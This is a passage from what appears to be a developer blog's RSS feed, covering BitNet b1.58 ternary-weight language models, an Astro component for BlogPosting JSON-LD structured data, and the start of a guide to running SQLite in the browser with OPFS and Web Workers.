&lt;h3&gt;How a Weight Goes From Float to Ternary&lt;/h3&gt;
&lt;p&gt;The quantization recipe is surprisingly simple:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Take the full weight matrix. Calculate the average absolute value of every element. Call this β.&lt;/li&gt;
&lt;li&gt;Divide all weights by β.&lt;/li&gt;
&lt;li&gt;Round to the nearest integer.&lt;/li&gt;
&lt;li&gt;Clamp everything to [-1, 1].&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Done. Every weight is now -1, 0, or 1. The scale factor β gets stored for later. The activations go through a similar process, quantized to 8-bit integers using the absolute maximum value as the scale factor.&lt;/p&gt;
&lt;h2&gt;The Moment It Clicks: Multiplications Disappear&lt;/h2&gt;
&lt;p&gt;This is where BitNet goes from &quot;interesting paper&quot; to &quot;wait, that changes everything.&quot;&lt;/p&gt;
&lt;p&gt;Think about what a GPU actually does during inference. For every layer in the network, it multiplies a weight matrix by an activation vector. Thousands of elements, each involving a floating-point multiplication and an accumulation. Something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0.2961 × x₀  -  0.0495 × x₁  +  0.8132 × x₂  -  0.3301 × x₃
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four multiplications, three additions. Now look at what happens when those weights become ternary:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1 × x₀  +  0 × x₁  +  (-1) × x₂  +  1 × x₃
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That simplifies to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x₀ - x₂ + x₃
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No multiplications. Just two additions and one subtraction. The &quot;multiply&quot; in &quot;matrix multiplication&quot; becomes a lie. The operation is purely additive.&lt;/p&gt;
&lt;p&gt;Think of it like a mixing board. A normal mixing board has continuous faders: you can set each channel to any level. BitNet locks every fader to three positions: &lt;strong&gt;full up&lt;/strong&gt; (+1), &lt;strong&gt;muted&lt;/strong&gt; (0), or &lt;strong&gt;inverted&lt;/strong&gt; (-1). You lose granularity per channel, but when you have billions of channels, the aggregate signal is just as rich. And the mixing board itself becomes radically simpler.&lt;/p&gt;
&lt;h3&gt;The One Multiplication That Remains&lt;/h3&gt;
&lt;p&gt;There is a catch. The integer additions produce a raw sum that needs to be rescaled back to the correct magnitude. At the end of each BitLinear layer, one multiplication happens:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;output = integer_result × (β × γ / Qp)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the weight scale, the activation scale, and the quantization range combined into a single correction factor. One multiplication per layer, instead of millions. That is the deal.&lt;/p&gt;
&lt;h3&gt;What This Costs in Energy&lt;/h3&gt;
&lt;p&gt;On 7nm chips, this shift reduces the energy cost of matrix multiplication by &lt;strong&gt;71.4 times&lt;/strong&gt; (&lt;a href=&quot;https://arxiv.org/abs/2402.17764&quot;&gt;source&lt;/a&gt;). At 70B parameters, end-to-end energy drops by &lt;strong&gt;41.2 times&lt;/strong&gt;. The reason is physical: a floating-point multiplier in silicon is a big, power-hungry circuit. An integer adder is tiny. When you eliminate billions of the former and replace them with the latter, the watt-hours collapse.&lt;/p&gt;
&lt;h2&gt;Does Crushing Precision to 3 Values Destroy Quality?&lt;/h2&gt;
&lt;p&gt;At small scale, yes. A 125M parameter BitNet trails its FP16 counterpart by a validation loss gap of 0.5. You can feel the difference.&lt;/p&gt;
&lt;p&gt;But something interesting happens as models grow. The gap closes. Fast.&lt;/p&gt;
&lt;p&gt;At 3B parameters, BitNet b1.58 &lt;strong&gt;matches FP16 perplexity and zero-shot task performance&lt;/strong&gt; when trained on the same data. At 100B parameters, the remaining gap is just 0.09, essentially noise.&lt;/p&gt;
&lt;p&gt;The researchers frame this as &lt;strong&gt;efficiency equivalency&lt;/strong&gt;, and the ratios are striking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;13B BitNet&lt;/strong&gt; model is cheaper to run than a &lt;strong&gt;3B FP16&lt;/strong&gt; model, with equal or better quality&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;30B BitNet&lt;/strong&gt; beats a &lt;strong&gt;7B FP16&lt;/strong&gt; on both quality and efficiency&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;70B BitNet&lt;/strong&gt; outperforms a &lt;strong&gt;13B FP16&lt;/strong&gt; while using fewer resources&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Read that again. A model with 5x more parameters costs less to run. The ternary architecture is so efficient that you can scale up massively and still come out ahead.&lt;/p&gt;
&lt;h3&gt;The Numbers&lt;/h3&gt;
&lt;p&gt;At 3B parameters: 2.71x faster inference, 3.55x less GPU memory (2.22 GB vs 7.89 GB for FP16 LLaMA).&lt;/p&gt;
&lt;p&gt;At 70B parameters: 4.10x faster, 7.16x less memory, 11x larger batch sizes, 8.9x higher throughput (2,977 tokens/s vs 333 tokens/s).&lt;/p&gt;
&lt;p&gt;At the edge: a 1B BitNet model in TQ1_0 format uses ~614 MiB of VRAM. That is less than half the memory of a 0.6B FP16 Qwen3. A 13B BitNet uses 29% less VRAM than a 4-bit quantized Qwen3-4B. Ternary is more memory-efficient than 4-bit quantization on a model four times smaller.&lt;/p&gt;
&lt;h2&gt;How Do You Train Something That Cannot Be Differentiated?&lt;/h2&gt;
&lt;p&gt;Here is the problem. Rounding is not differentiable. The gradient of a step function is zero everywhere (and undefined at the jumps). If you round weights during training, backpropagation sees zero gradients, and the model learns nothing.&lt;/p&gt;
&lt;p&gt;BitNet sidesteps this with a trick that is elegant once you see it.&lt;/p&gt;
&lt;h3&gt;Two Versions of Every Weight&lt;/h3&gt;
&lt;p&gt;The model keeps two copies of each weight. The &quot;latent&quot; weight is a full-precision floating-point number that the optimizer adjusts normally. During the forward pass, the latent weight gets quantized on-the-fly to -1, 0, or 1. The model computes with the ternary version. But the gradient update goes back to the latent weight.&lt;/p&gt;
&lt;p&gt;Think of it like this: you are sculpting a marble statue, but you can only show photographs of the work in progress. The photos (ternary weights) are low-resolution, three shades of gray. But you keep chiseling the actual marble (latent weights) with full precision. Each photograph captures the current state, and the feedback you get (&quot;make the nose smaller&quot;) goes back to the marble, not the photo.&lt;/p&gt;
&lt;h3&gt;Skipping the Round: Straight-Through Estimator&lt;/h3&gt;
&lt;p&gt;The gradient bypass has a name: the &lt;strong&gt;Straight-Through Estimator (STE)&lt;/strong&gt;. During backpropagation, when the gradient hits the rounding operation, STE pretends it is an identity function (derivative = 1). The gradient passes through unchanged. It is mathematically imprecise, but it works because the gradient direction is still informative even if the magnitude is approximate.&lt;/p&gt;
&lt;p&gt;Over many training steps, the latent weights shift gradually. Eventually a weight crosses a rounding boundary: a value at 0.48 crosses to 0.51, and the quantized output flips from 0 to 1. The model&apos;s behavior changes discretely, but the learning process is continuous.&lt;/p&gt;
&lt;h3&gt;The Weird Loss Curve&lt;/h3&gt;
&lt;p&gt;One visible side effect: BitNet training produces an &lt;strong&gt;S-shaped loss curve&lt;/strong&gt;. Instead of the smooth, steady decline you see with FP16 models, the loss plateaus for a while, then drops sharply, then plateaus again. The discrete weight space creates energy barriers. The optimizer builds up momentum on a plateau, then breaks through to a lower energy state all at once.&lt;/p&gt;
&lt;p&gt;This requires specialized training schedules. Two-stage learning rates and weight decay tuning handle the dynamics: higher learning rate during plateaus to build momentum, lower during drops to avoid overshooting.&lt;/p&gt;
&lt;h3&gt;Converting Existing Models&lt;/h3&gt;
&lt;p&gt;You do not have to train from scratch. Dynamic warmup quantization can convert existing models like LLaMA 3 into 1.58-bit format. The process gradually tightens the quantization constraint during fine-tuning, giving the model time to redistribute its knowledge across ternary weights.&lt;/p&gt;
&lt;h2&gt;What You Can Build With This Today&lt;/h2&gt;
&lt;p&gt;The theory is settled. The implementations are real. Here is what exists right now.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/microsoft/BitNet&quot;&gt;&lt;strong&gt;bitnet.cpp&lt;/strong&gt;&lt;/a&gt; is Microsoft&apos;s official inference framework. It runs a 100B model on a single CPU at human reading speed. On ARM chips (including Apple Silicon), it delivers 1.37x to 5.07x speedups with 55% to 70% energy savings. If you want to try it yourself, I wrote a step-by-step guide: &lt;a href=&quot;/blog/run-bitnet-on-mac-m1&quot;&gt;Run a 1-Bit LLM on Your Mac with bitnet.cpp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;0xBitNet&lt;/strong&gt; brings BitNet to the browser via WebGPU. Custom WGSL compute kernels handle ternary operations directly on the GPU, with TypeScript bindings and token-by-token streaming. No server, no WASM. If you have been following &lt;a href=&quot;/blog/sqlite-in-browser-with-opfs-and-web-workers&quot;&gt;the push to move heavy computation into the browser&lt;/a&gt;, this is the same philosophy applied to neural networks. I am exploring this in a separate post: &lt;a href=&quot;/blog/run-llm-in-browser-webgpu&quot;&gt;Run an LLM in the Browser with WebGPU&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QVAC Fabric&lt;/strong&gt; fine-tunes BitNet models on mobile GPUs: Apple Bionic, Qualcomm Adreno, ARM Mali. BitNet inference runs 2.1 to 11.3 times faster on edge GPUs than edge CPUs. The memory efficiency enables LoRA fine-tuning of a 13B model on an iPhone 16. Not inference. Fine-tuning. On a phone.&lt;/p&gt;
&lt;h2&gt;Where This Goes&lt;/h2&gt;
&lt;p&gt;The scaling law behind BitNet b1.58 has a specific implication: as models grow, the quality gap with full precision disappears, but the efficiency gap does not. A 70B BitNet costs less to run than a 13B FP16 model. That asymmetry only widens at larger scales.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LLMs leave the data center.&lt;/strong&gt; When a 100B model runs on a CPU at reading speed, the API-as-default model for LLM access stops being the only option. Your laptop becomes a capable inference platform.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fine-tuning becomes personal.&lt;/strong&gt; If you can fine-tune a 13B model on a phone, models can adapt to individual users without sending data to a server. The privacy implications alone are worth paying attention to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The browser becomes a deployment target.&lt;/strong&gt; WebGPU inference means any web application can embed local LLM processing. No API keys, no latency, no data leaving the device.&lt;/p&gt;
&lt;p&gt;The weights are -1, 0, and 1. The math is addition. The models are real. What you build with them is up to you.&lt;/p&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3&gt;Does BitNet b1.58 work with existing models or does it require training from scratch?&lt;/h3&gt;
&lt;p&gt;Both options exist. Training from scratch with the latent weight and STE approach generally produces better results. But dynamic warmup quantization can convert existing models like LLaMA 3 into 1.58-bit format through gradual fine-tuning. The conversion path is practical when you want to reuse existing model weights without a full training run.&lt;/p&gt;
&lt;h3&gt;How does 1-bit quantization compare to INT4 or INT8 post-training quantization?&lt;/h3&gt;
&lt;p&gt;They are fundamentally different approaches. Post-training quantization (PTQ) compresses a model after training, which always loses some information. BitNet trains with ternary constraints from the start, so the model learns to work within them. The quality is significantly better at equivalent bit widths. There is also an architectural advantage: the integer-addition compute path is simpler than INT4/INT8 matrix multiplication, which still requires actual multiplications.&lt;/p&gt;
&lt;h3&gt;Can I run BitNet models in the browser today?&lt;/h3&gt;
&lt;p&gt;Yes. 0xBitNet provides a WebGPU-based runtime with custom WGSL compute kernels. It runs without WebAssembly or a server backend and supports token-by-token streaming. You need a browser with WebGPU support: Chrome 113+, Edge 113+, or Firefox Nightly.&lt;/p&gt;
&lt;h3&gt;What is the smallest hardware that can run BitNet b1.58?&lt;/h3&gt;
&lt;p&gt;A 1B parameter model in TQ1_0 format needs ~614 MiB of memory. That fits on practically any modern device, including phones and Raspberry Pi-class hardware. The 2B model from Microsoft runs comfortably on any Mac with Apple Silicon using under 1 GB of memory.&lt;/p&gt;
</content:encoded></item><item><title>JSON-LD Structured Data for Blogs: A Real Implementation</title><link>https://didof.dev/blog/json-ld-structured-data/</link><guid isPermaLink="true">https://didof.dev/blog/json-ld-structured-data/</guid><description>Pages with structured data are 2.3x more likely to appear in AI Overviews. Here is how I added BlogPosting JSON-LD to my Astro blog with real code.</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Rich results achieve &lt;strong&gt;82% higher click-through rates&lt;/strong&gt; compared to standard search listings (&lt;a href=&quot;https://www.searchenginejournal.com/structured-data-rich-results/&quot;&gt;Search Engine Journal, 2025&lt;/a&gt;). But in 2026, structured data is no longer just about rich snippets. It is how AI systems like Google AI Overviews, ChatGPT, and Perplexity decide whether your content is worth citing. According to &lt;a href=&quot;https://www.semrush.com/blog/semrush-ai-overviews-study/&quot;&gt;Semrush&apos;s 2025 AI Overviews study&lt;/a&gt;, AI Overviews now appear in over 15% of Google searches, and &lt;strong&gt;pages with clear semantic structure are significantly more likely to be cited&lt;/strong&gt; in those results.&lt;/p&gt;
&lt;p&gt;I just added JSON-LD structured data to this very blog. In this post, I will walk through the exact code, the architectural decisions, and the verification steps. No toy examples, just production-ready implementation. If you care about &lt;a href=&quot;/blog/cache-control-max-age-stale-while-revalidate&quot;&gt;HTTP caching headers&lt;/a&gt; or &lt;a href=&quot;/blog/etag-if-none-match&quot;&gt;ETags for content freshness&lt;/a&gt;, you already understand the value of giving browsers and crawlers explicit signals. JSON-LD structured data does the same thing for search engines and AI systems.&lt;/p&gt;
&lt;h2&gt;What Is JSON-LD and Why Does Google Recommend It?&lt;/h2&gt;
&lt;p&gt;JSON-LD (JavaScript Object Notation for Linked Data) is a method of encoding structured data using JSON. Google explicitly states in their &lt;a href=&quot;https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data&quot;&gt;developer documentation&lt;/a&gt;: &lt;strong&gt;&quot;Google recommends using JSON-LD for structured data whenever possible.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are three formats for structured data on the web:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Microdata&lt;/strong&gt;: attributes woven into your HTML elements. Tightly coupled to your markup, hard to maintain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RDFa&lt;/strong&gt;: similar to Microdata but more verbose. Used by some CMS platforms.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JSON-LD&lt;/strong&gt;: a standalone &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block in your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;. Completely decoupled from your HTML.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;JSON-LD wins because it lives separately from your content. You can add, remove, or modify your structured data without touching a single line of your page&apos;s HTML. For component-based frameworks like Astro, React, or Next.js, this is the natural choice. Your schema is just another data object.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;application/ld+json&quot;&amp;gt;
  {
    &quot;@context&quot;: &quot;https://schema.org&quot;,
    &quot;@type&quot;: &quot;BlogPosting&quot;,
    &quot;headline&quot;: &quot;Your Article Title&quot;,
    &quot;datePublished&quot;: &quot;2026-04-07T00:00:00.000Z&quot;
  }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Which BlogPosting Fields Actually Matter?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://schema.org/BlogPosting&quot;&gt;schema.org BlogPosting type&lt;/a&gt; has dozens of properties, but not all of them are equal. Here is what Google actually uses for rich results and what AI systems look for when deciding whether to cite you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Required for rich results:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;headline&lt;/code&gt;: your article title&lt;/li&gt;
&lt;li&gt;&lt;code&gt;datePublished&lt;/code&gt;: ISO 8601 format&lt;/li&gt;
&lt;li&gt;&lt;code&gt;author&lt;/code&gt;: a &lt;code&gt;Person&lt;/code&gt; or &lt;code&gt;Organization&lt;/code&gt; with at least a &lt;code&gt;name&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Strongly recommended:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dateModified&lt;/code&gt;: signals freshness. 76% of top AI-cited content was updated within 30 days.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;description&lt;/code&gt;: helps AI systems understand the article&apos;s scope&lt;/li&gt;
&lt;li&gt;&lt;code&gt;image&lt;/code&gt;: enables visual rich results&lt;/li&gt;
&lt;li&gt;&lt;code&gt;url&lt;/code&gt;: canonical URL of the article&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Good to have:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;publisher&lt;/code&gt;: for E-E-A-T signals. Can be the same as &lt;code&gt;author&lt;/code&gt; for personal blogs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Do not over-engineer it. A clean schema with the right fields beats a bloated one with properties Google ignores.&lt;/p&gt;
&lt;h2&gt;How Do You Build a JSON-LD Structured Data Component in Astro?&lt;/h2&gt;
&lt;p&gt;Here is the actual component I built for this blog. It lives at &lt;code&gt;src/components/seo/json-ld.astro&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
export interface Props {
  title: string;
  description: string;
  url: string;
  image?: string;
  datePublished: string;
  dateModified?: string;
  author?: string;
}

const {
  title,
  description,
  url,
  image,
  datePublished,
  dateModified,
  author = &quot;Francesco Di Donato&quot;,
} = Astro.props;

const schema = {
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@type&quot;: &quot;BlogPosting&quot;,
  headline: title,
  description,
  url,
  ...(image &amp;amp;&amp;amp; { image }),
  datePublished,
  ...(dateModified &amp;amp;&amp;amp; { dateModified }),
  author: {
    &quot;@type&quot;: &quot;Person&quot;,
    name: author,
    url: &quot;https://didof.dev&quot;,
  },
  publisher: {
    &quot;@type&quot;: &quot;Person&quot;,
    name: author,
    url: &quot;https://didof.dev&quot;,
  },
};
---

&amp;lt;script type=&quot;application/ld+json&quot; set:html={JSON.stringify(schema)} /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three things worth noting:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Conditional spreading&lt;/strong&gt;: &lt;code&gt;...(image &amp;amp;&amp;amp; { image })&lt;/code&gt; only includes the &lt;code&gt;image&lt;/code&gt; field when one exists. Same for &lt;code&gt;dateModified&lt;/code&gt;. This avoids &lt;code&gt;null&lt;/code&gt; or &lt;code&gt;undefined&lt;/code&gt; values in your JSON-LD, which can trigger validation warnings.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The &lt;code&gt;set:html&lt;/code&gt; directive&lt;/strong&gt;: Astro&apos;s &lt;code&gt;set:html&lt;/code&gt; safely injects the JSON string into the script tag. Never use template literals for this. &lt;code&gt;set:html={JSON.stringify(schema)}&lt;/code&gt; handles escaping correctly and prevents XSS vectors if any prop contains user-controlled data.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Typed Props&lt;/strong&gt;: the &lt;code&gt;Props&lt;/code&gt; interface ensures TypeScript catches missing required fields at build time, not in production.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How Do You Wire JSON-LD Into Your Layout Conditionally?&lt;/h2&gt;
&lt;p&gt;The key architectural decision: JSON-LD should only render on blog posts, not on every page. The homepage, about page, and tools pages do not need &lt;code&gt;BlogPosting&lt;/code&gt; schema.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;src/layouts/main.astro&lt;/code&gt;, I added an optional &lt;code&gt;schema&lt;/code&gt; prop:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export interface Props {
  title?: string;
  description?: string;
  image?: string;
  footer?: boolean;
  header?: boolean;
  disableFloatingCal?: boolean;
  schema?: {
    datePublished: string;
    dateModified?: string;
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, the component renders conditionally:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{schema &amp;amp;&amp;amp; (
  &amp;lt;BlogJsonLd
    title={title || &quot;didof.dev&quot;}
    description={description}
    url={canonicalURL.toString()}
    image={new URL(image, Astro.site).toString()}
    datePublished={schema.datePublished}
    dateModified={schema.dateModified}
  /&amp;gt;
)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The blog post page (&lt;code&gt;src/pages/[locale]/blog/[...slug].astro&lt;/code&gt;) passes the schema data from the content collection:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Main
  title={post.data.title}
  description={post.data.description}
  image={ogImage?.src}
  schema={{
    datePublished: post.data.date.toISOString(),
    dateModified: post.data.update_date?.toISOString(),
  }}
&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every blog post now gets structured data automatically. No manual JSON-LD per post, no forgetting to add it. If &lt;code&gt;update_date&lt;/code&gt; is not set in the frontmatter, &lt;code&gt;dateModified&lt;/code&gt; simply does not appear in the schema. Exactly the behavior we want.&lt;/p&gt;
&lt;h2&gt;How Do You Verify JSON-LD Structured Data Is Working?&lt;/h2&gt;
&lt;p&gt;After building, you can verify JSON-LD is present in the output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Check that blog posts contain JSON-LD
grep -l &quot;application/ld+json&quot; dist/blog/*/index.html | head -5

# Inspect the actual schema for one post
grep -o &apos;&amp;lt;script type=&quot;application/ld+json&quot;&amp;gt;[^&amp;lt;]*&amp;lt;/script&amp;gt;&apos; \
  dist/blog/setup-n8n-and-searxng-locally/index.html  # any post works
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output should be valid JSON with &lt;code&gt;@type: &quot;BlogPosting&quot;&lt;/code&gt;, your &lt;code&gt;headline&lt;/code&gt;, &lt;code&gt;datePublished&lt;/code&gt;, and &lt;code&gt;author&lt;/code&gt; fields.&lt;/p&gt;
&lt;p&gt;For production validation, use two tools:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://validator.schema.org/&quot;&gt;Schema Markup Validator&lt;/a&gt;&lt;/strong&gt;: paste your URL to check for schema.org compliance&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://search.google.com/test/rich-results&quot;&gt;Google Rich Results Test&lt;/a&gt;&lt;/strong&gt;: shows what Google can extract and whether you qualify for rich results&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Why Does JSON-LD Structured Data Matter for AI Search in 2026?&lt;/h2&gt;
&lt;p&gt;Structured data is no longer optional SEO polish. It is infrastructure for AI visibility.&lt;/p&gt;
&lt;p&gt;When Google AI Overviews, ChatGPT web search, or Perplexity crawl your page, they are trying to answer three questions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;What is this content about?&lt;/strong&gt; &lt;code&gt;headline&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;@type&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Is it trustworthy?&lt;/strong&gt; &lt;code&gt;author&lt;/code&gt;, &lt;code&gt;publisher&lt;/code&gt;, &lt;code&gt;datePublished&lt;/code&gt;, &lt;code&gt;dateModified&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Is it current?&lt;/strong&gt; &lt;code&gt;dateModified&lt;/code&gt; is the strongest freshness signal&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Without structured data, AI systems have to guess these answers from your HTML. With it, you are handing them the answers directly, in a format they are designed to consume.&lt;/p&gt;
&lt;p&gt;JSON-LD structured data can increase your click-through rate by &lt;strong&gt;35%&lt;/strong&gt; even without a visual rich result, because search engines understand your content better and rank it more confidently. If you are building tools that interact with APIs, like &lt;a href=&quot;/blog/setup-n8n-and-searxng-locally&quot;&gt;setting up n8n and SearXNG locally&lt;/a&gt;, adding structured data helps those pages get discovered by the same AI systems you are building with.&lt;/p&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Do I need a separate JSON-LD block for each blog post?&lt;/h3&gt;
&lt;p&gt;No. With the component approach shown above, every blog post automatically gets its own JSON-LD block generated from the content collection data. You write the component once and it scales to every post.&lt;/p&gt;
&lt;h3&gt;Does JSON-LD affect page performance?&lt;/h3&gt;
&lt;p&gt;No measurable impact. The JSON-LD script block is a few hundred bytes of text. It does not execute as JavaScript. The browser ignores &lt;code&gt;type=&quot;application/ld+json&quot;&lt;/code&gt; scripts entirely. Only search engines and AI crawlers parse them.&lt;/p&gt;
&lt;h3&gt;Should I use the &lt;code&gt;astro-seo-schema&lt;/code&gt; npm package instead?&lt;/h3&gt;
&lt;p&gt;It depends. The &lt;code&gt;astro-seo-schema&lt;/code&gt; package provides TypeScript definitions from &lt;code&gt;schema-dts&lt;/code&gt;, which gives you autocomplete for every schema.org property. For a simple &lt;code&gt;BlogPosting&lt;/code&gt; schema, a hand-rolled component like the one above is lighter and gives you full control. For complex schemas with multiple nested types, the package can help prevent mistakes.&lt;/p&gt;
&lt;h3&gt;What about FAQ schema on this very page?&lt;/h3&gt;
&lt;p&gt;Google deprecated &lt;code&gt;HowTo&lt;/code&gt; rich results in September 2023, but &lt;code&gt;FAQPage&lt;/code&gt; schema remains supported. Google now shows FAQ rich results less frequently though. The value of FAQ sections in 2026 is primarily for AI citation: question-answer formats are the easiest structure for AI systems to extract and cite.&lt;/p&gt;
</content:encoded></item><item><title>Running SQLite in the Browser with OPFS and Web Workers</title><link>https://didof.dev/blog/sqlite-in-browser-with-opfs-and-web-workers/</link><guid isPermaLink="true">https://didof.dev/blog/sqlite-in-browser-with-opfs-and-web-workers/</guid><description>Discover how to set up SQLite in the browser using the Origin Private File System (OPFS) and Web Workers. Build high-performance, local-first applications with relational power and zero server costs.
</description><pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Mermaid from &quot;@/components/mermaid.astro&quot;;
import RepoCard from &quot;@/components/preview/repo-card.astro&quot;;&lt;/p&gt;
&lt;p&gt;&amp;lt;RepoCard
title=&quot;sqlite-in-browser&quot;
description=&quot;A practical guide and boilerplate for running SQLite in the browser with OPFS and Web Workers.&quot;
href=&quot;https://github.com/didof/sqlite-in-browser&quot;
demoHref=&quot;https://didof.github.io/sqlite-in-browser/&quot;
languages={[
{ name: &quot;TypeScript&quot;, percentage: 38.0 },
{ name: &quot;CSS&quot;, percentage: 35.3 },
{ name: &quot;HTML&quot;, percentage: 15.5 },
{ name: &quot;JavaScript&quot;, percentage: 11.2 },
]}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;We live in a world where deploying a database usually means spinning up a server, managing connection strings, configuring ORMs, and inevitably accepting network latency. For a long time, this was just the cost of doing business.&lt;/p&gt;
&lt;p&gt;But as a solo-founder, my goal isn&apos;t to sell time—it&apos;s to build assets. And to build assets quickly, I need to eliminate friction. The faster I can go from idea to a working MVP, the better. That means stripping away everything that isn&apos;t strictly necessary.&lt;/p&gt;
&lt;p&gt;Recently, I set out to build a boilerplate that entirely removes the backend database from the equation, without sacrificing the power of SQL. What you&apos;ll see in this post is a practical guide to running a full, official SQLite engine directly in the browser, leveraging the Origin Private File System (OPFS) and Web Workers.&lt;/p&gt;
&lt;p&gt;Zero servers. Microsecond latency. 100% local and private.&lt;/p&gt;
&lt;p&gt;Let&apos;s break down how it works, why it&apos;s a game-changer for indie devs, and the architectural pitfalls you need to avoid.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./demo.png&quot; alt=&quot;Screenshot of the live demo&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. The Problem: The Main Thread Bottleneck&lt;/h2&gt;
&lt;p&gt;Running SQLite in the browser via WebAssembly (WASM) isn&apos;t entirely new. The real challenge has always been &lt;strong&gt;persistent storage&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Standard browser storage (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage&quot;&gt;LocalStorage&lt;/a&gt;, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API&quot;&gt;IndexedDB&lt;/a&gt;) is either too slow, too limited, or fundamentally incompatible with how a synchronous relational database engine expects to read and write bytes to a disk.&lt;/p&gt;
&lt;p&gt;Enter &lt;strong&gt;OPFS (Origin Private File System)&lt;/strong&gt;. It gives us a highly optimized, sandboxed file system that provides synchronous, byte-level access. It’s exactly what SQLite needs.&lt;/p&gt;
&lt;p&gt;But there’s a catch: &lt;em&gt;synchronous access blocks the thread&lt;/em&gt;. If we run SQLite with OPFS on the browser&apos;s main thread, the UI will freeze every time we execute a complex query. It’s the equivalent of doing heavy construction work in the middle of a busy highway.&lt;/p&gt;
&lt;h2&gt;2. The Blueprint&lt;/h2&gt;
&lt;p&gt;To solve this, we need to isolate the database. We move the SQLite engine and the OPFS file system into a &lt;strong&gt;Web Worker&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Think of the Web Worker as a sealed glass room where the heavy data processing happens securely and quietly, completely decoupled from the UI.&lt;/p&gt;
&lt;p&gt;Here is the flow:&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`sequenceDiagram
participant Main as [src/main.ts]&amp;lt;br/&amp;gt;Main Thread
participant Bridge as [src/db.ts]&amp;lt;br/&amp;gt;Comlink Proxy
participant Worker as [src/worker.ts]&amp;lt;br/&amp;gt;Web Worker
participant SQL as SQLite WASM
